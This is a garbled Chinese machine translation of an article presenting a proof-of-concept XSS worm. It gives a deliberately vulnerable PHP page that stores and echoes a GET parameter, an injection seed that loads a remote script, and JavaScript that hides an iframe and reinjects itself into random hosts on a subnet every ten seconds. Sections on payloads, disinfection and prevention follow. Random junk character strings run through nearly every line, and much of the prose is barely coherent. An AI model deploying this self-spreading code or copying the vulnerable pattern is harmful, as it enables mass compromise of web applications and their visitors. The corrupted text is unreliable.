跨站(xss)脚本病毒编写详解 (HaCkXi译文)2009-02-23 08:55下面的概念证明表明了XSS病毒。脆弱的环境造成就是一个例子情景的XSS所需的病毒,并不表明详尽的一套可能的条件。这说明在长期的XSS一个web应用。在这种情况下,漏洞是通过利用获得的请求,这使得小病毒将创建。
$ ~( c! e: T& n2 d7 o$ \
8 ^& k4 e- W6 w' j6 H5 E最初的一个实例脆弱的web应用将种子与自我传播的代码。当此代码是由网页浏览器,它的结果在他们的感染。被感染的网页浏览器连接到随机地点和执行利用获得的要求。注入代码,从而进一步易受感染的Web应用与自我繁殖的代码。! p& M) @- X+ @% ~7 n6 A J
$ M" L4 c: o. y! Q- u& s& b下面制作的永久性的XSS利用PHP页面可以感染病毒。该网页接受一个参数(参数)值,并写入到一个文件( file.txt ) 。这个档案,然后返回请求的浏览器。该文件将包含以前的值的“参数”参数。如果没有参数是通过它会显示该文件没有更新。5 F- Q! n# m3 f1 w- S
1 n; g/ {" {4 o' Z+ U) i7 S: }6 Z
Web应用程序:index.php
I" {5 t: B3 R# t! x; V0 a/ d' l+ ?( ]6 L: R2 s8 |3 b% d: s9 O
QUOTE:<?php
5 j8 A" k8 k: Q, ?+ _- D* K# d8 g $p=$HTTP_GET_VARS['param']; 3 y {4 i7 y! e! F5 ~! g- L
$filename = "./file.txt";
+ H4 _) J3 z; {0 h
% x4 }( x+ y. r% n- ]* w6 [! O if ($p != "") {
/ q/ N+ s8 C! z& x4 S: r$handle=fopen($filename, "wb"); : ~: B6 J. z+ ]6 B
fputs($handle, $p);
# r! T4 N. K( N; D6 yfclose($handle);
0 |9 @/ ~1 r/ x7 Q } + ]4 c0 b/ w! `0 [! |
, I5 C q0 |2 d- |3 b2 t7 @& o0 k! f
$handle = fopen($filename, "r");
" g. y& {- ?+ N $contents = fread($handle, filesize($filename));
4 r- |0 [# U* x fclose($handle);
: U# \0 d3 ^ n7 W$ \* g
9 t* [* S. I6 b3 K$ A print $contents;
1 _( t( \0 q0 Y) o?>
' q W( O- M# [9 P4 L; k* }0 Z. ?( }! P
此网页的index.php 主办的多个虚拟服务器在10.0.0.0/24子网。一个网络应用实例种子,然后用以下代码检索javascript文件并执行它。另外,有可能注入到整个代码的脆弱的应用,而不是要求javascript文件。为了简洁明了, JavaScript文件(xssv.jsp)要求。
* R/ q3 c L% f5 V2 `0 ^- X
: G' A, o0 M/ e" O# {" P注入种子编号:/ O3 H v Q0 L) ?
2 b) M8 E0 ]7 j, D/ n' A! UQUOTE:<iframe name="iframex" id="iframex" src="hidden" style="display:none"> ; E, Y( v2 C+ Z9 N6 t% r
</iframe> ( \: z% v: g6 p8 \7 I6 K
<script SRC="http://<webserver>/xssv.js"></script>
- R6 {' ]5 G. Z
% {, Q# i7 b6 S9 K6 E/ r: w# C; T) g在javascript文件所要求的例子如下所示。其自我用途繁殖的iframe是定期重新使用loadIframe ()函数。目标网站的IP地址的iframe是随机挑选的10.0.0.0/24子网的功能通过get_random_ip()。该病毒使用的XSS相结合的这两项职能,并不断定期调用使用setInterval()函数。4 G4 \: ?2 y1 o
0 b/ V' T' x3 ?9 X
Javascipt : xssv.jsp) E, P" R6 f; i4 |
. G4 L( C+ E0 z6 |/ x) K
QUOTE:function loadIframe(iframeName, url) { # _2 y) b) |5 J6 n
if ( window.frames[iframeName] ) {
8 W/ A( P; Q5 F- }9 v3 x5 owindow.frames[iframeName].location = url; % h# U/ f+ s* @. R5 d' b% Q* j
return false; . @& c* ^& B0 `. D
} 5 c6 c4 L; v. ]9 h9 ~
else return true; , h" [$ `/ X) R7 _5 a$ ?
} % i* f$ _* W# }8 N& G
; z* h$ l6 G* F. V& Ofunction do_request() { 5 B& r3 ?5 Y2 H) j
var ip = get_random_ip(); $ X Z* ?( `! I0 Y0 H
var exploit_string = '<iframe name="iframe2" id="iframe2" ' + ( [$ _7 n: R5 @) S0 g* g7 |
'src="hidden" style="display:none"></iframe> ' + 1 D* e: r7 r1 @
'<script SRC="http://<webserver>/xssv.js"></script>'; / g) N) b" R5 S- o' x O
7 ]1 F- X7 \8 v6 k. g6 [7 C5 P/ v. v
loadIframe('iframe2',
5 M& c& l2 X# t"http://" + ip + "/index.php?param=" + exploit_string);
) F& a! m5 t- G5 r g}
# _2 j# A( x# [$ ]' i+ o8 i& v. f" h) Z$ e4 x: g. p
function get_random()
" M- f j! x% C( H% z" j{ 0 w9 A3 r3 U: c+ Q+ S
var ranNum= Math.round(Math.random()*255); ) ?: `( t V3 f' k
return ranNum; & |9 }) A: N8 v) W* B' Y" H
}
# Q) S; W1 L! d/ [5 A$ j! d
4 K7 Z) T. v" w5 N4 p7 D8 @function get_random_ip() 6 E9 M, S" a6 f$ `6 u5 |
{
; L# _( A' y, j& U return "10.0.0."+get_random(); - k6 A1 j9 v3 u7 e
} 8 |! d. @! b6 U T* V1 P
8 s/ _% }3 c+ k/ d/ P. F
setInterval("do_request()", 10000);5 n9 t' n. D0 o: U$ l. l+ s5 r
4 b( \/ J$ n2 q1 h Q9 H, r看种子Web应用的浏览器造成感染其他网络应用的10.0.0.0/24子网。这种感染,一直持续到一些,但并非所有的应用受到感染。在这一点上的浏览器是手动停止。另一个浏览器,然后用来查看一个新感染的Web应用。该病毒然后继续感染,其余未web应用程序的子网内。
^( c; |+ E5 }" q) @/ V# ?8 F5 a2 @4 y
这个概念证明表明,控制的条件下,没有什么不同,以一个真实的世界环境中,跨站脚本病毒可以自我繁殖和传染。
0 }# U2 z: x) c. g: r& [9 e! p) J) ^0 @
常规病毒分歧! D& x& i/ L/ Y _& H: X
$ j. ?' g, d7 G/ [0 h7 g' W常规病毒和执行居住在同一系统上。单独的XSS病毒的这两个要求的一种共生关系,服务器和浏览器。执行发生在客户端浏览器的代码,并驻留在服务器上。6 E, i, c! z8 U O, U4 l
. Q# k5 r& l# z8 a纲要indiscrimination还分成一的XSS病毒从传统的对应。这是因为封装在HTML和HTTP / HTTPS协议。这些标准是支持大部分网络浏览器上运行不同的操作系统,使得跨站点脚本病毒平台独立。这个平台的独立性增加了一些潜在的网络应用,可感染。
; q" Z# V3 I" Q! T; T" Y感染2 m; K) |8 Q9 ?* Z7 S" H3 r
# x6 W$ v# x) m& b
跨站点脚本病毒感染发生在两个阶段,通常至少有两个设备。因此,有两种感染工作共生。
, _/ p ?: W; n& v+ x( `" s8 p" {: u1 p- k2 g$ b8 D( f
服务器感染了持续自我传播的代码,它没有执行。第二阶段是浏览器的感染。注入代码加载从网站到非持久性的网络浏览器和处决。执行然后寻求新的服务器/网页加以利用并有可能执行它的有效载荷。通常情况下,将有一个受感染的服务器,许多受感染的浏览器。 2 n8 R0 x1 Z: ?6 y6 @; N
有效载荷 @$ }3 d& B' C+ O8 p
+ Y9 k- ~% f2 q/ ?" L常规病毒一样,病毒的XSS能够提供有效载荷。该有效载荷将被处死的浏览器,并有限制的HTML兼容的代码。也就是说,有效载荷可以执行的HTML功能,包括了JavaScript 。
& S5 L5 L- G! G
9 w' L) Y$ T8 e7 l! ?$ d虽然这并不构成限制,跨站脚本病毒仍然能够恶意活动。例如,可以有效载荷提供DDOS攻击,显示垃圾邮件或包含浏览器的漏洞。未来的载荷能力很可能是更大的原因越来越多的浏览器老练。
) {% \# H4 \ _/ J' \) n# e" L/ q消毒! t5 u% M, L0 x) X5 [/ P
9 J5 O5 D% |) g5 Q$ l! m之间的关系,服务器和一个浏览器可以被打破,只需关闭浏览器。但是,目前还没有手段来防止浏览器再次感染以外的其他禁用浏览器的功能。
* I9 |' [: t1 j( H3 F
) A- `+ `1 O( T. E, O; ]0 T潜在的消毒方法将涉及引荐外地的请求标头。这是由于这一事实,即引荐很可能是登录网络服务器那里感染了尝试。因此,如果引荐欺骗并没有发生后,日志文件将揭示线索回到来源的病毒。+ T8 L( y% E7 j7 g
4 `3 `8 K7 b* _) u+ B3 p- |' d: t: w X
预防
& W- q- E4 u' {9 P' ?
. ^* N1 P/ t% _/ j1 W' d1 x一个共同的初期,以预防病毒感染是一个网络级防火墙。正如的HTTP / HTTPS协议是提供不受限制地通过共同的防火墙配置,这些防火墙障碍是无效的。一个潜在的补救措施,这是一个应用防火墙适当的XSS病毒签名。虽然不太可能,最明显的方式,以防止病毒的XSS是消除了XSS漏洞的Web应用。9 F1 @- l# ]' P) ^/ |! A) f
* \' n8 s5 v1 t0 x7 h
结论5 U- T! u7 \% T6 j! d
- T. ]/ ?7 o! w' }2 g/ x传染病性质的XSS病毒已被证明在一个受控环境。它是通过故意制作脆弱的网络应用程序分布在子网。这个环境,后来受到感染。2 Z# {- b" B/ K6 w% Y. \. m
( u9 U$ P" o+ m3 ~. \, l+ B的XSS病毒是一种新的物种。他们区分自己从他们的表兄弟通过常规的要求一台服务器的客户共生的关系和它们的平台独立性。这些差异产生积极和消极影响,毒的感染。# f' |6 ]" }/ v/ J1 j& I2 Y
1 f0 T7 }7 V6 ^3 f0 g _
本文说明了XSS病毒是平台独立的,并能进行恶意的职能。虽然有减缓的因素,这些问题再加上日益复杂的网络浏览器显示的XSS威胁的病毒。主动必须采取措施,以打击这一威胁,病毒之前的XSS成为流行病。
1 D# a6 t' n5 S7 O+ d1 t
! ~9 y" R4 k9 e, P" T 翻译者: HaCkXi
) K8 [& X3 z+ K0 n2 t$ ^6 w Blog: www.hackxi.cn
( G( ?6 _" @4 H/ ~% K1 w( \ 提供者:ShadowHider: ~- {; {! F7 M! T" C& m
Blog: http://hi.baidu.com/zrxc
5 f3 k0 ~0 r/ _2 C. Z. l2 Q* d , u! V* d4 U3 _5 J0 \: |
|